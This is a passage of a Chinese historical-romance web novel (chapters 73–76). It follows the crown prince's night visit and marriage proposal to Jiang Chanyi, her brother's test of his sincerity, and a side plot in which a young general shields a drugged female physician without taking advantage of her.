他能在东宫呆的住? 万一又在东宫闯了什么祸…… “太子所言有理……” 圣上终于开了口,笑着道:“既然各有过错,那就请两位公子先暂留东宫,禁足一月。” 东宫还没有女主子,是可以留宿男子的。 圣上发了话,也就没法再推拒了,杨阁老宋长策各自应下。 一场纷争就这么化解,几家长辈先行告退,剩小辈在店殿中,圣上慈和的问了宋少凌一些话,便就放他们回东宫了。 出了东宫,徐清宴突然道:“我怎么觉着圣上对你不一样?” 谢崇这才猛地想起父皇母后一直属意宋少凌为驸马,以前他不知宋少凌是谁,如今见着人便知不可能了。 宋少凌喜欢白安渝。 宋少凌并没有察觉到什么,闻言道:“是吗,都一样吧。” 谢崇随意般道:“父皇感念宋大将军镇守边关多年,难免多问几句。” 他还是尽快告知父皇母后,免得何时就乱点了鸳鸯谱。 第73章 第 73 章 若是不方便,我明日再来…… 姜蝉衣的院子叫做宜安院, 对于她而言这本是一个很陌生的地方,可她却并不觉不适,安然睡了过去。 一觉醒来, 天色已经暗了。 姜蝉衣拉开房门,便见到等候在月亮门外的长兄, 她愣了愣,忙迎上去:“阿兄何时来的,怎不叫我?” 褚方绎侧首望来, 温和道:“我刚到。” 他过来时没听见房里有动静, 想着应是睡着了, 不想吵醒她,便在此等了半个时辰。 “晚宴要开始了, 我们过去吧。” 姜蝉衣点头:“好。” 兄妹二人并肩走在青石路上,边走褚方绎边同妹妹介绍府中布局:“这边过去是我的院子,那边是父亲母亲的, 越过那片湖往西走是下人的院子,西北方向是府中护卫的。” 褚家人口很简单,褚公羡没有同支兄弟,从未纳妾,府中只有这几位主子。 姜蝉衣一一记下。 “等明日我再带你在府中走走。” 姜蝉衣自是说好, 又走出一段路,褚方绎道:“徐公子, 宋小将军都暂留东宫与太子一同禁足。” 姜蝉衣脚步一滞:“禁足?” 褚方绎:“城门斗殴不是小事, 今日杨阁老宋大将军,父亲都进了趟宫,三家各有过错,因徐公子与宋小将军有伤在身, 太子将人留在东宫治伤,圣上下令禁足一月。” “可是,太子为何禁足?” “太子是替你领罚。” 褚方绎看向妹妹,眼底隐有深意:“婉卿喜欢太子对吗?” 姜蝉衣眼神微闪,轻轻垂首。 褚方绎温声道:“你们本就有婚约,彼此心悦自是最好。” 他原本对这桩婚事并不赞同,妹妹长在江湖,自由无拘惯了,若后半生要困在宫墙中,对妹妹而言也不知是不是一种折磨。 可他实没料到,原来妹妹与太子早就相识,并已互生情意。 “婉卿,宫中的生活不比江湖自在,你可要想好了。” 姜蝉衣眼底闪过一丝迷茫。 她喜欢燕鹤不假,但确实不知宫墙之内是怎样的。 “阿兄,我” 褚方绎安静等了片刻,不见妹妹继续往下说,便道:“无妨,婉卿刚回来,不急此事,可慢慢想。” “只要是婉卿的决定,阿兄都会支持。” 至于同父亲说的退婚 他了解谢君梧,这人看似温润如玉,实则只要他认定的,必不会轻易放手,只要他真心喜爱妹妹,这婚便退不了,反之,若他真一口答应,就代表他对妹妹没多少真心。 姜蝉衣看着身旁的长兄,心中的茫然渐渐退却,随之而来的是安心,而后朝长兄扬起一抹笑容:“嗯,谢谢阿兄。” 褚方绎轻笑了笑:“往这边走。” 穿过转角,姜蝉衣好奇问:“阿兄定婚了吗?” 褚方绎:“还未。” “那阿兄有喜欢的人吗?” 褚方绎眼神微淡,随后便掩去,轻笑道:“说婉卿的婚事呢,怎说到阿兄身上了。” 姜蝉衣还欲追问,却突听一阵声响,抬眼望去,只见天空中接连炸开一朵朵绚烂的烟花。 离的很近,甚至能闻到烟火气味,显然是府中放的。 “这是迎婉卿回府准备的,可喜欢?”褚方绎。 姜蝉衣连连点头:“喜欢。” 烟花璀璨久久不绝,照亮了夜空,姜蝉衣远远便见到立在廊下的父亲母亲,忙加快步伐迎上去:“父亲,母亲。” 乔月华伸手拉着她,眼中又含起泪:“婉婉,欢迎回家。” 姜蝉衣鼻尖一酸,眼中也泛起热泪,抬眸对上父亲慈爱的目光,身侧长兄眼含笑意,她只觉得自己被爱意包裹,幸福至极。 分离十七载,一家人终于团圆。 今日家宴,府中大设宴席,家仆护卫皆可入席,足足热闹了半夜。 终于盼回女儿,乔月华心中高兴,难得多饮了几杯,被褚公羡掺着回了房。 看着父亲母亲恩爱不疑,姜蝉衣笑的眉眼弯弯。 “当年,父亲求娶母亲时曾许诺过,一生一世一双人,至今守诺。” 褚方绎轻声道。 姜蝉衣抬头看向他,好奇道:“阿兄同我说说父亲母亲的故事呗?” “好啊。” 褚方绎道:“我也是听二舅舅说的,当年父亲高中状元,与大舅舅性情相投,成为知己,一来二去便与母亲熟识,后来由外公做主为二人定婚,婚后,父亲母亲琴瑟和鸣,举案齐眉。” 姜蝉衣听得很认真。 原来父亲竟也是状元郎。 褚方绎别有深意的看着姜蝉衣,继续道:“乔家,褚家,皆有不纳妾的规矩。” 姜蝉衣这时还没有往深了想,只听了便过。天色不早了,褚方绎送姜蝉衣回去,将到时,褚方绎突然问:“婉卿的名字是宗止师父取的?” 姜蝉衣点头:“嗯。” 关于她这个名字,她曾经问过师父,答案很符合师父的性子。 特别的随意。 “当年师父带我回山时,见院子边上有一丛姜长得正好,又见上头附着一个蝉蜕,便为我取名姜蝉衣。” 褚方绎:“原是如此,很好听。” 妹妹出生时,他已经有记忆了,妹妹病重那年,他日日守在床边,生怕失去了妹妹,后来妹妹被宗止师父带走,他每天都在盼望妹妹回家,最开始他日日去问母亲,后来发现他每问一次母亲就要落泪,慢慢的他就不再问了。 随着年纪的增长,他也能将思念压在心底,再大些,与妹妹有了书信往来。 那时看着纸上歪歪扭扭的字迹,他才能真切感受到妹妹还在人世。 “时间不早了,早些休息。” 褚方绎道:“我要休沐几日,明日带你去城中逛逛。” 褚方绎额上受了伤,陛下特许他几日假。 姜蝉衣点头:“好,阿兄快回去吧。” “嗯。” 褚方绎看着姜蝉衣进了屋子,才折身离开。 东宫 宋少凌立在屋顶看了好半晌才跃下去,拧着酒壶往太子案前一靠:“相国府烟花不断,肯定热闹,你真不去啊?” 谢崇正批阅奏章,头也未抬:“禁足一月。” 宋少凌眸光一动:“可以偷偷去。” 谢崇动作微顿,抬眼盯着他。 宋少凌跃跃欲试。 目光焦灼半晌,谢崇道:“金酒。” 很快,金酒便进了书房:“殿下。” “看着宋小将军。” 谢崇淡声道:“他离开东宫半步,你自去领罚。” 金酒瞥了眼怔愣的宋小将军,沉声道:“是,属下遵命。” “不是……你不去就不去,怎么还要看着我!”宋少凌不满的指控:“我不去相国府,去别处成不成?” 谢崇不再理他。 宋少凌看了一眼金酒,再看一眼太子,重重哼了声出了书房。 去找徐清宴喝酒算了。 带宋少凌离开,谢崇停下笔,抬头望了眼窗边。 她刚刚回家,此时正是和家人团圆的日子,不好前去打扰。 若是一月不见,也不可能。 再过几日吧。 _ 次日,姜蝉衣跟着褚方绎出了门,她没有来过玉京,看什么都新鲜,一直逛到天光暗淡,褚方绎见她兴趣浓,又陪着她多逛了几日。 姜蝉衣回京,自是要去乔家拜见,恰逢这日褚公羡休沐,一家人便一起往乔家而去。 乔家人,姜蝉衣只见过二舅舅乔祐年,不过她已从长兄口中得知二舅舅与大舅舅生的极像,但当她真的见到人,才知两位舅舅何止像,一眼看过去,竟形同一人。 所幸二人性情大不相同,很容易便能分辨。 乔家人待姜蝉衣都很亲切,送了不少见面礼,认完人,已是大半日过去,又在乔家用了晚饭,一家人才回府。 乔月华给姜蝉衣选了两个贴身女使,一位姑姑,几人帮着将从乔家带回来的礼物入库,忙完已近亥时。 姜蝉衣不喜欢女使贴身伺候洗漱,将其屏退后才褪下衣裳泡入浴桶中。 温暖的热水包裹住全身,让人舒服的昏昏欲睡,这几日,姜蝉衣感觉自己掉进了福窝窝里,每天都过的特别舒适。 但午夜梦回间,她还是会梦见落霞山,梦见师弟在灶房做饭,师妹去山中采药,师父逗着树上的鸟儿。 梦一醒来,她常常会倍感失落。 她生活了十几年的地方,应是再也回不去了。 突然,姜蝉衣察觉有人靠近,猛地睁开眼,眼神凌厉的看向窗户:“谁?” 窗户外的人影停住,片刻后,道:“我。” 熟悉的嗓音让姜蝉衣一怔。 太子!这个时辰他怎么来了? 姜蝉衣很快回神,边起身穿衣,边道:“你……你稍等。” 谢崇知道姜蝉衣今日去了乔家,宋少凌不停的在他耳边念叨为什么不出宫见她,不知怎地,他今日就当真被他蛊惑,深夜偷偷出了宫。 可此时听见里头水声浮动和窸窣声,立刻便明白了什么。 他好像来的不是时候。 “若是不方便,我明日再来。” 第74章 第 74 章 蝉衣,我心悦你已久。…… 月儿高悬, 花团锦簇的院落在一片静谧声中,响起吱呀一声,窗棂从里支起, 姑娘与探头恰与窗外的郎君隔着窗棂相望。 许是夜色撩人,有些不同寻常的暧昧气息渐渐萦绕在二人周边。 好几息后, 姜蝉衣道:“先进来?” 谢崇历来恪守规矩,深夜进姑娘闺房实在有违礼制,可姑娘衣着单薄总不好在院外说话, 且万一被人瞧见, 有损她的清誉。 几经踌躇后, 谢崇掀起衣袍,翻过窗棂。 姜蝉衣略显错愕的望着他:“可以走门。” 她认识的燕鹤克己守礼, 从阿兄口中得知的太子亦是光风霁月,从不敢想他竟也会翻窗。 谢崇沉默片刻,平静道:“忘了。” 姜蝉衣不由莞尔。 方才怕他久等, 她只随意搭了件衣裳,动作间隐约露出脖颈和漂亮的锁骨,脸庞上还带着热水熏出的红晕,低眸一笑,顾盼生辉。 谢崇不敢多看, 有些无措的挪开视线。 “你怎么来了?” 姜蝉衣记得长兄说过,他与宋少凌徐清宴被禁足东宫, 禁足令未解, 又是这个时辰出来,莫不是偷偷出宫的? 谢崇本想说自己路过,但到了嘴边却又觉这个借口实在站不住脚,沉默良久后, 终是如实道:“我想来见你。” 姜蝉衣猜想过他可能并不是专程来找她的,听到这个答案后不由怔住。 他说什么,想见她? 烛火下,那张脸近在咫尺,姜蝉衣只觉心跳突然加剧。 谢崇低头看着姜蝉衣,眼神温柔如水。 因心中有念,才能被蛊惑来此。 他是真的想见她,想同她好生解释。 近日来,乔家褚家都有退婚的意思,今日褚家刚去了乔家,黄昏时帝师就进了趟宫,与父皇在御书房商谈许久,帝师离开,父皇便将他叫了去,问他对这桩婚事有何看法。 他便知道,帝师是来退婚的。 他不敢细想是谁的意思,但总归是有些慌神。 他虽已同父皇言明,他不同意退婚,但也无法再安心等到禁足期满,一旦乔家老太爷进了宫,父皇恐怕就不得不应了。 今夜与其说是被宋少凌蛊惑,倒不如说正是他心中所想。 他确实有些着急了。 “在墉洲那夜,我不知是你,对不起。” 谢崇认真道:“我们这桩婚事是小叔叔做主定的,无半点更改的余地,我心中本不清白,更不敢再见你,那夜确是有意说与你听,只想彼此相忘于江湖才是最好。” 果然是这样。 姜蝉衣对那夜的事早已经有所猜测,否则,他为何只单同她一人说了。 “在玉京城外见到你,很出乎我的意料,更让我惊喜万分。” 谢崇的嗓音在夜色中格外的温柔:“蝉衣,我心悦你已久,你可愿嫁我?” 支起的窗棂中有冷风吹来,可姜蝉衣却觉得脸颊,心间都隐隐发烫,曾经她从不敢奢望他也对她有意,她那时就想等她退完婚,便去跟他表白,若他不愿,她就像往常一样与他游历江湖,总要等到他答应的那一天。 可现在他说,他心悦于她。 还有什么比心上人的剖白更叫人欢喜的呢。 就好像悬在高空的那弯月亮,落在了她的怀里,她只想紧紧抱着,再也不松开。 “我愿意。” 谢崇悬了几日的心总算落下,他动作轻柔的将她拥入怀间,语气柔和:“蝉衣,我们的婚期很快就会定下。” 至于乔褚两家的退婚之意,他不打算告诉她。 只要想退婚的不是她,就够了。 只要她愿意,便没人能退这桩婚事。 姜蝉衣嗅着熟悉的香气,满足的闭上眼,在他怀里蹭了蹭。 她终于,抱得美人归了。 “婚期定在何时?” 谢崇感觉到她的动作,心间越发柔软:“蝉衣想何时?” 那自然是越快越好。 万人哪天月亮又回到天上了怎么办。 “墉洲那日,你说明年成婚。” 谢崇正要开口,就听姜蝉衣继续道:“我觉着太晚了。” 谢崇一怔,旋即失笑:“好,那就今年。” “嗯。” 姜蝉衣轻轻点头,拥紧怀里的人,半点不舍得松开。 谢崇不动声色往窗棂边看了眼,微微皱了皱眉头。 能神不知鬼不觉潜进这里,离开时才让他有所察觉的,整个人相国府中只有一个人。 褚方绎的贴身暗卫,谷雨,师承父皇的暗卫统领乌焰。 谷雨很快便回到了淮竹院。 褚方绎刚褪下外裳,听见窗户传来的声响,遂走了过去,并没有开窗,只立在窗边问:“他来了?” 谷雨回道:“是。” “太子殿下是亥时后过来的。” 褚方绎唇角轻弯了弯。 倒是比他想象中还沉不住气,他谢君梧也有今天。 “公子,可要请太子殿下离开?” 夜闯姑娘闺房,即便是太子,相国府也得罪得起。 褚方绎却道:“不急。” 谷雨默了默,问:“那还要继续退婚吗?” “我没真打算让他们退婚。” 褚方绎淡淡开口:“不过几日便逼得谢君梧违了圣命,失了礼制,便足矣说明婉卿在他心中的地位。” 储妃不好当。 谢君梧又是个真正的正人君子,恪守礼节,他今日能为婉卿如此,他日才能放下那些宫规,庇护婉卿。 之后二人隔着窗立着,久久没再言语,突然,谷雨道:“公子,有人来了。” 这个时辰谁会来他这里。 褚方绎很快就明了,笑了笑:“你被发现了,先退下吧。” 谷雨师承陛下身边的乌焰统领,最善于追踪隐匿,但太子的师父太多了,其中玄烛最深不可测,功力远胜于乌焰统领。 “是。” 谷雨并没有完全离开,只隐在暗处守着。 谢崇才走到门前,门便从里拉开。 褚方绎似笑非笑:“太子殿下好雅兴,深夜驾临相府不知有何贵干?” 谢崇径自走进屋中:“手谈一局?” “夜色深了,臣明日要上早朝,且臣若没记错,殿下应还在禁足?” 褚方绎淡淡看向谢崇:“殿下莫不是忘了,我如今任职御史台。” 谢崇却已熟门熟路的在茶案边坐下,浑不在意般道:“我既来了,便不怕尧安弹劾。” 褚方绎瞥他一眼,冷哼了声,才走过去。 世人都道太子殿下端方如玉,实则与他久交之人才知道,这人其实也会有耍无赖的时候,只不过很少有人有这个荣幸见到罢了。 今日夜闯深闺,真是脸都不要了。 “手谈便免了,臣敢问太子,今夜来此作甚?”褚方绎坐在谢崇对面,冷声道。 谢崇迎上他的质询的眼神,道:“你私底下从不与我君臣相称,这天底下,也唯有你会唤我谢君梧,你应是最了解我的。” 褚方绎轻哼:“可不敢了解。” 若非因为了解,当初定婚时他便会全力阻拦,也正是因此,虽明知储君并非婉卿最好的归宿,可储君是谢君梧,那就另当别论。 当时他便已经决定,若妹妹不愿,他说什么也要想办法退婚;若妹妹愿意,他就是妹妹最强的后盾,他不允许任何人欺负妹妹。 谢君梧也不行! 褚方绎了解谢崇,谢崇亦然。 他们是君臣,也是知己,褚方绎是谢崇第一个认定的挚交好友。 知晓退婚并非蝉衣所愿后,他便明白推动这一切的人是谁了。 “你要如何才答应?” 褚方绎:“我答不答应有何重要,只要太子想要的,谁人能阻拦?” 谢崇微微垂眸。 确实,他有千万种办法如愿娶到心上人。 “但我们是朋友,你更是蝉衣的长兄,我希望得到你的祝福。” 褚方绎这回没再呛他,过了许久,他才沉声道:“谢君梧,乔家,褚家没有纳妾的规矩,两家女孩儿亦然。” 瑞王当年费尽周折娶得小姨,至今遵循一生一世一双人的承诺,可储君与王爷不一样,当今圣上与皇后感情甚笃,可亦是三宫六院,妃嫔十几。 并非质疑帝王真心,不过身在其位,肩上扛着苍生,责任大局之中,能分出的真心又有多少。 这便是他不愿妹妹嫁进东宫的缘由。 谢崇并不意外,准确的来说他早就猜到了褚方绎的顾虑。 关于这个问题,他早已经思虑过了。 他自小跟着小叔叔小婶婶,最是知晓二人如何恩爱,还有玄烛叔叔放下高官厚禄与沐笙姑姑双宿双飞,重云叔叔与苏茵婶婶青梅竹马终成眷侣,瑞王叔历经千辛万苦才娶得乔家四姑娘,这些故事他听了很多次,潜移默化中,一生一世一双人亦是他所求。 但他一直清楚自己的身份,帝王需要顾全大局,若他的储妃不是蝉衣,他或许也同父皇一样,但若是蝉衣,那他断然不会再娶旁人。 谢崇郑重许诺:“尧安,除了蝉衣,我不会再有任何人。” 褚方绎反驳:“可你将是一国之君,身在其位,更多时候容不得你想不想。” 历朝历代,帝王被逼赐死心爱之人的也不是没有。 最是无情帝王家。 谢崇没有任何辩解,只道:“尧安,信我。” 褚方绎冷冷盯着他,许久后,他挪开视线:“只要妹妹愿意,我自当祝福。” 停顿片刻,他再次看向谢崇,认真道:“谢君梧,若有一天,婉卿后悔了,想回家了,你要将她全须全尾的交给我。” “我答应你。”谢崇。 但永远不会有这么一天。 “不过” 谢崇话锋一转,道:“你要帮我。” 褚方绎颇觉好笑:“我不给你使绊子就是最大程度的帮你了,你还想如何?” “你要进内阁。” 谢崇:“将来后宫空置,朝堂必定要掀起一阵风浪,你总得帮我抗一些,如今要早做应对。” “嘁。” 褚方绎气笑了:“太子殿下倒是算计到我身上来了,我一开始便同你说过,我不会进内阁,能在御史台致仕,就是我此生最大的愿望。” 他没有父亲那样的野心,做那一人之下万人之上。 谢崇并不恼,不紧不慢道:“可将来,你是蝉衣的仪仗。” 母族强大,无人敢欺。 褚方绎顿时被拿住了七寸,气的瞪着谢崇好半晌才憋出一句:“太子殿下若连自己心爱之人都护不住,我看不如还是早早退了这婚!” 他知道谢君梧一直想让他入内阁,可他不想。 如今倒是给了他可乘之机! 谢崇也知道没这么容易说服他,话锋又转:“此事你慢慢思量,但眼下有件事,你得帮我。” “又有何事!” 褚方绎没好气道。 “状元郎徐清宴想进御史台。” 谢崇:“但杨阁老不会同意,你若能促成此事,再照拂他一二,我保证一年内不跟你提入内阁一事。” 褚方绎静静地看着谢崇。 这才是他真正要他帮他做的事! 果然不愧是跟着小王爷长大的! “夜深了,太子请回吧。” 谢崇这回没犹豫,立刻起身:“深夜叨扰,改日赔礼。” 都道褚方绎温文尔雅,其实了解他的人都知道,他的脾气随了他那位太傅大舅舅,招惹他可一可二不可三,要懂得适可而止。 但还是晚了。 “来人,从今日开始守着宜安院,再有那登徒子深夜擅闯,通通打出去!” 谢崇看了眼某处角落,有谷雨守着,他必不可能悄无声息潜进来,褚尧安与旁人不一样,他是真敢对他动手,况且眼下还有事相求。 可禁足令还有二十来日。 谢崇沉默片刻,提气离开。 深夜不能见,白日可以。 姜蝉衣本以为谢崇已经离开了,正要睡下又听窗户外传来响动,她打开窗户,没见着人,只看到一张纸条。 她借着烛火一眼就认出是太子的字。 ‘明日未时,百善楼’ 第75章 第 75 章 若他们有孩子,一定很好…… 百善楼 姜蝉衣用了午饭便收拾着出门, 到了百善楼,掌柜便将她迎进一个雅间,恭敬道:“褚二姑娘请。” 姜蝉衣透过屏风隐约看见里头有人影, 突然就有些紧张。 这是他们互通心意后第一次见面,与以往是不一样的。 然而等姜蝉衣越过屏风, 却见徐清宴宋少凌也在,她微微怔了怔,紧张顷刻间消弭, 快步走过去。 “蝉衣姑娘来啦。” “蝉衣姑娘, 快坐。” 徐清宴宋少凌热情的打着招呼, 姜蝉衣边应着边看了眼太子,视线相对的一瞬, 她从谢崇眼里看见了无奈。 并非他想带他们一同赴约,而是这两人撞见他翻墙,非得跟来。 姜蝉衣隐约明白了, 轻笑了笑,走到谢崇身边的空位坐下:“你们不是在禁足么,这么出来不会有事吧?” 徐清宴:“东宫自有人打掩护。” 宋少凌:“反正我们是跟着太子殿下翻的墙,天塌下来也有太子顶着。” 姜蝉衣:“” 谢崇面无表情的抿着茶,听了宋少凌的话, 淡淡道:“我也不介意将你送回去禁足。” 宋少凌立刻变脸,提起茶壶给谢崇到了杯茶:“那怎么能行呢, 陛下说了让我在东宫禁足, 回去可是抗旨。” 眼下父亲怒火未消,他是绝不会在这个时候回去的! 徐清宴冷不丁来一句:“你现在不也在抗旨?” 宋少凌没好气瞪他一眼,道:“说的你没抗旨一样,好了好了, 好不容易见个面,不说这些了,蝉衣姑娘,怎么样,回来习惯吗?” 谢崇闻言也看向姜蝉衣。 她自小长在落霞峰,自由无拘惯了,而京中规矩多,也不知她是否适应。 姜蝉衣道:“习惯。” 身边都是爱她的家人,怎会不习惯。 “况且还有你们呢。” 亲友好友和……未婚夫婿都在这里,让她很有归属感,不过,也是真的很怀念落霞峰和想念师父师弟师妹们。 待有机会,她定会去看他们。 宋少凌长长哦了声,瞥向谢崇:“是有我们,还是有某个人啊。” 徐清宴跟着道:“是啊,蝉衣姑娘,你昨晚看月亮了吗,昨晚的月亮特别好看。” 姜蝉衣当然知道徐清宴是在打趣昨夜私会一时,脸颊微微一红。 难得见她脸红,二人起哄的更厉害了:“啧啧啧,郎才女貌天生一对,也不知道婚期定在何时呢?” “太子已及冠,蝉衣姑娘也早已及笄,依我说,这婚事越快越好。” 宋少凌:“有道理,最好赶紧生个小……” “咳。” 眼见说的越来越过,谢崇轻咳一声,扔了袋银子给二人:“一个时辰后回来。” 宋少凌徐清宴对视一眼,笑的牙不见眼:“这就嫌我们碍眼了?” “行行行,我们走就是。” 二人拿起银子勾肩搭背的离开,屋里也终于清静了下来。 姜蝉衣脸颊有些烫,往窗口挪了挪位置,低头抿了口茶。 若他们有孩子,一定很好看。 谢崇不知姜蝉衣在想什么,只当她被打趣不自在,便道:“今晨我已同父亲说过,钦天监已经在选日子了,想必过不了几日便会定下。” 姜蝉衣点头:“嗯。” 谢崇这时不知从哪里取出一个盒子,打开递向姜蝉衣:“你看看喜不喜欢?” 盒中是一根发簪,镶嵌了颗红色宝石,姜蝉衣惊喜的拿起簪子:“你送我的?真好看。” “嗯,很早便选好了,只是被禁足一直没有机会给你。”谢崇道。 姜蝉衣常年习武,不大方便佩戴首饰,尤其是流苏步摇等繁琐的头饰,而这根发簪,简单大方却不失明艳,很适合她。 “谢谢,我很喜欢……” 谢崇看着那双明亮的眸子,只觉里头光彩照人,令人沉溺:“我帮你戴上?” “好。” 姜蝉衣将簪子递给谢崇,微微侧过身。 回到京城后,衣着打扮也与以往大不相同,今日是贴身丫鬟给她梳的头,是时下最流行的发髻。 配上这根簪子,很是相宜。 谢崇温柔的将簪子插入发间,垂眸就对上那双姜蝉衣亮晶晶的双眼,姑娘笑容灿烂,明艳动人。 目光落在那朱唇上时,谢崇眼神微微暗了暗,但很快便克制住挪开:“我……” 蓦地,一片温软将话音堵住,谢崇身形僵住,半晌都没回过神。 直到感觉人将要离开,他才伸手握住她的腰身,追着加深了这个吻。 太子向来克己守礼,从不曾有过任何逾距,但其实,或许只是还没有遇见能让他失控的人罢了。 此时此刻,他的心里很清楚,不合礼法,可是他无法控制。 他不喜欢失控的感觉,却又不由自主的沉迷。 阳光透过窗棂洒在桌边,也洒在相拥吻的人身上。 不知过了多久,谢崇意识到什么,缓缓松开姜蝉衣,将人搂进怀里。 他从不认为自己是重欲的人,可如今只是一个吻,就轻易让他起了欲念。 姜蝉衣隐约感觉到了什么,脸颊一阵滚烫,埋在太子怀里久久没敢抬头。 即便不曾经历过,她也明白那发硬的滚烫是什么东西。 _ 宋少凌徐清宴出门分别戴上了面具,宋少凌曾经被公主满城追着打,见过他的并不少,而徐清宴才状元游街,更是有无数人见过他,如今都还在禁足期,要是被人认出来不好交代。 “你想去哪里?” 出了百善楼,宋少凌问。 徐清宴:“我去趟书铺。” 宋少凌闻言便道:“那分开走吧,一个时辰后百善楼见。” 徐清宴知道他对书铺不感兴趣,也不想跟着这个贼去打架,很干脆的应了:“好。” 于是,二人一左一右分开而行。 宋少凌没想在京中做贼,现在他是宋少凌,不是云广白,被抓住了要被父亲打死。 不过,去看看通缉榜倒是可以的。 宋少凌买了个糖葫芦,一边啃着一边慢悠悠往京兆府走去。 突然,有一道身影自人群中穿过,宋少凌脚步一滞,直直望着那道背影。 那是……她? 虽然只是一个侧脸,但他很确定自己没有认错,可是她不是在落霞门吗,怎么会出现在京中。 很快,宋少凌便察觉到不对劲,未做犹豫就抬脚追了上去。 他曾经想过若是与她江湖再见他会怎么做?他应该目不斜视,只当从不相识。 可时,她好像受伤了。 白安渝意识越来越模糊,紧靠着手中银针才能勉强保持几分清醒,跌跌撞撞走进了巷子深处。 是她大意了! 无色无味的迷药,放在茶水里是喝不出来的,若非她是医者,早早感知到不对逃了出来,此时恐怕…… 药性越来越烈,银针已经无法控制了,她需要找到一处偏僻无人的地方,熬过去才能安全。 可周身渐渐的失了力,已经有些走不动了。 然就在她将要倒下去时,突然,手臂被一股重力拉住,紧接着,她倒在了一个宽阔的怀抱中。 她心中暗道不好,想要刺出银针,手却已经用不上任何力气,连银针也拿不稳落在了地上。 “白姑娘。” 就在白安渝绝望之时,一道熟悉的嗓音响起,她的意识好像停滞了一瞬,她勉力抬眼望去,撞见少年担忧复杂的眼眸:“白姑娘,你怎么了?” 虽然他戴着面具,但那双眼神她认得出。 真的是他,云广白。 白安渝不再强撑,双眼一闭晕了过去。 “白姑娘!” 宋少凌焦急唤了几声没能将人唤醒,皱着眉头将人抱起快步走向医馆。 她身上没伤,多半是中了什么药。 是谁! 第76章 第 76 章 醒来便好了 最终宋少凌没有带白安渝去医馆, 因半路上白安渝醒来,嗓音打着颤:“桃春散,医馆解不了。” 宋少凌皱着眉:“那是什……” 他边说边低头看去, 却见怀中人双颊泛着异样的红,虽在极力隐忍, 但气息已极其不稳,且似不受控的往他怀中贴。 宋少凌立刻便明白了那是什么东西,眼中闪过一道杀意:“需要怎么做?” 白安渝艰难道:“梧桐街来福客栈, 天字三号房, 有药……缓解。” 她的手紧紧拽住他的衣襟, 如溺水之人想抓住唯一的救命稻草般,她不受控的向他靠近, 想要贴的更紧。 宋少凌知道梧桐街的来福客栈,从僻静的巷子绕到后门进了房间。 他的衣襟不知何时被扯开,甚至能感觉到温热的唇瓣。 门关上, 宋少凌快步将人放在床榻,白安渝仍旧抓着他的衣襟,迫使他不得不俯下身,问:“药在何处?” 白安渝艰难抬手,摸向靠里的枕边, 但她浑身发软用不上力,宋少凌见此便伸手往枕边探去, 果然, 摸到几个药瓶。 然因这个动作,他与白安渝靠的更近,近到能感觉到对方的气息洒在鼻尖,宋少凌尽力保持距离, 可白安渝被药物所控,身体不断贴近,唇瓣就这么扫过他的唇角。 宋少凌身形一僵,垂眸看着她。 落霞门一别,他便已决定相忘于江湖,此生不复再见,这些日子他努力的不去想,时间一长,或许就放下了。 在今日见到她之前,他觉得他已经放下了,可直到看见她的那一刻,他才明白,他不是放下了,只是把她藏在了心底。 不过若再过几月,几年,只要她不出现在他的生活中,也能放得下,可是,他又遇见了她。 还是在这样的情景下。 察觉到唇瓣靠近,宋少凌回过神慌忙躲开,按住她的手,问:“哪一瓶?” 她不喜欢他,一点都没有,如今不过是受药物所控,他又怎能趁人之危。 白安渝嗓音沙哑的说了个颜色,宋少凌飞快打开那瓶药,给她喂下一粒药丸。 “这就能解吗,还需要什么?” 解药没那么快见效,白安渝只想往他怀中贴,只是手被摁住,动弹不得。 但意识也所剩无几了,根本无法思考其他。 宋少凌也察觉到了,他紧紧按住她的手腕,身子微微往下,保持能勉强安抚她却又不碰到的距离。 而后,静静地等着。 这对于白安渝是一种折磨,对宋少凌更是,他自认没有太子那样的定力,心上人在怀能忍住不碰她,全靠良好的家风支撑着。 他不敢动任何念头,不敢多看一眼,他强迫自己将思绪拉远,想战场,想打仗,想通缉榜,想……好香。 温香软玉,馨香环绕,但凡是个正常男人,又哪里能无动于衷,更何况还是个未经人事的少年。 宋少凌闭上眼,再次躲开贴上来的温热的唇。 不行,她还是姜蝉衣的师妹,他绝不能趁人之危,还有父亲,会打死他。 宋少凌脑子一团乱麻,但最终好歹是把自己劝住了。 一炷香过去,身下的人终于慢慢地安静了下来,不再有动作。 “水,银针……” 细弱的声音在耳边响起,与方才温软的音节有些不同,宋少凌知道,药效应是过了。 他忙松开她,问:“什么水?” 白安渝不记得自己方才做了什么,但能猜到一些,也知道他一直在拒绝,没有碰她。 她抬眼看着他,轻轻道:“只是缓解,还需要泡水,以银针解之。” 宋少凌盯着那双眼,不似以往的清冷,多了一些看不明白的情绪,格外的诱人。 他飞快别开视线,起身放下纱帐:“我去叫水,你稍等。” 不久后,小二便送来了水,宋少凌没让小二进来,让他将水放在了门口,他一次次的提进去倒进浴桶。 小二偷偷看了眼他,见他戴着面具心中直犯嘀咕,这位白姑娘不是一个人吗,屋里怎么会有男人? 该不会出什么事吧? 宋少凌发现了小二,对上对方探究警惕的视线,他沉默片刻,道:“我是白师姐的师弟,师姐偶感风寒,来此照顾。” 他可以不必解释,可又怕影响她的清誉。 小二将信将疑的往里看了眼,不能听他一面之词,若真是歹人,还是得尽快报官。 这时,听里头传来白安渝的声音:“师弟,怎么了?” 小二闻言这才放心,道:“您还需要什么尽管吩咐。” 宋少凌耳中回响着那句师弟,心不在焉的嗯了声。 曾经他缠着她时也曾攀着姜蝉衣的关系要唤她师妹。 浴桶装满水,宋少凌走到床边,隔着纱帐伸出手:“我扶你过去。” 白安渝没有拒绝。 药效虽缓,但确是还是使不上力。 她搭在他的掌心,借着他的力道起身,只是刚下床腿便一软朝一旁倒去,然一股力道将她稳稳拉住,而后便是一阵天翻地覆,回过神来却是他将她拦腰抱起,一言不发的往走向浴室。 白安渝看了眼少年的侧脸,睫毛微微颤了颤,轻轻低下头。 她很庆幸今日遇见的是他,否则后果不堪设想。 只是,他怎么会在这里。 走到浴桶旁,宋少凌小心地将她放下来,道:“可以吗?” 白安渝轻轻点头:“嗯。” “麻烦你帮我取银针过来,在床边的药箱里。” 宋少凌当即折身出去。 很快便回来,将银针放到浴桶旁边的凳子上:“我在外间,有事叫我。” 白安渝:“嗯。” 直到少年走出屏风,白安渝才收回视线,缓缓褪下衣衫,踏入浴桶。 宋少凌内功虽不如姜蝉衣深厚,但在寂静的房中,水声和细微的声音还是能清晰的传入他耳中,扰的人心神荡漾。 他面无表情背身立着,盯着地面,母亲念佛时,他就该跟着学些清心咒。 转念想到什么,他的脸色又沉了下来。 是谁,谁对她下的药! 若被他查出来,他必让他生不如死! 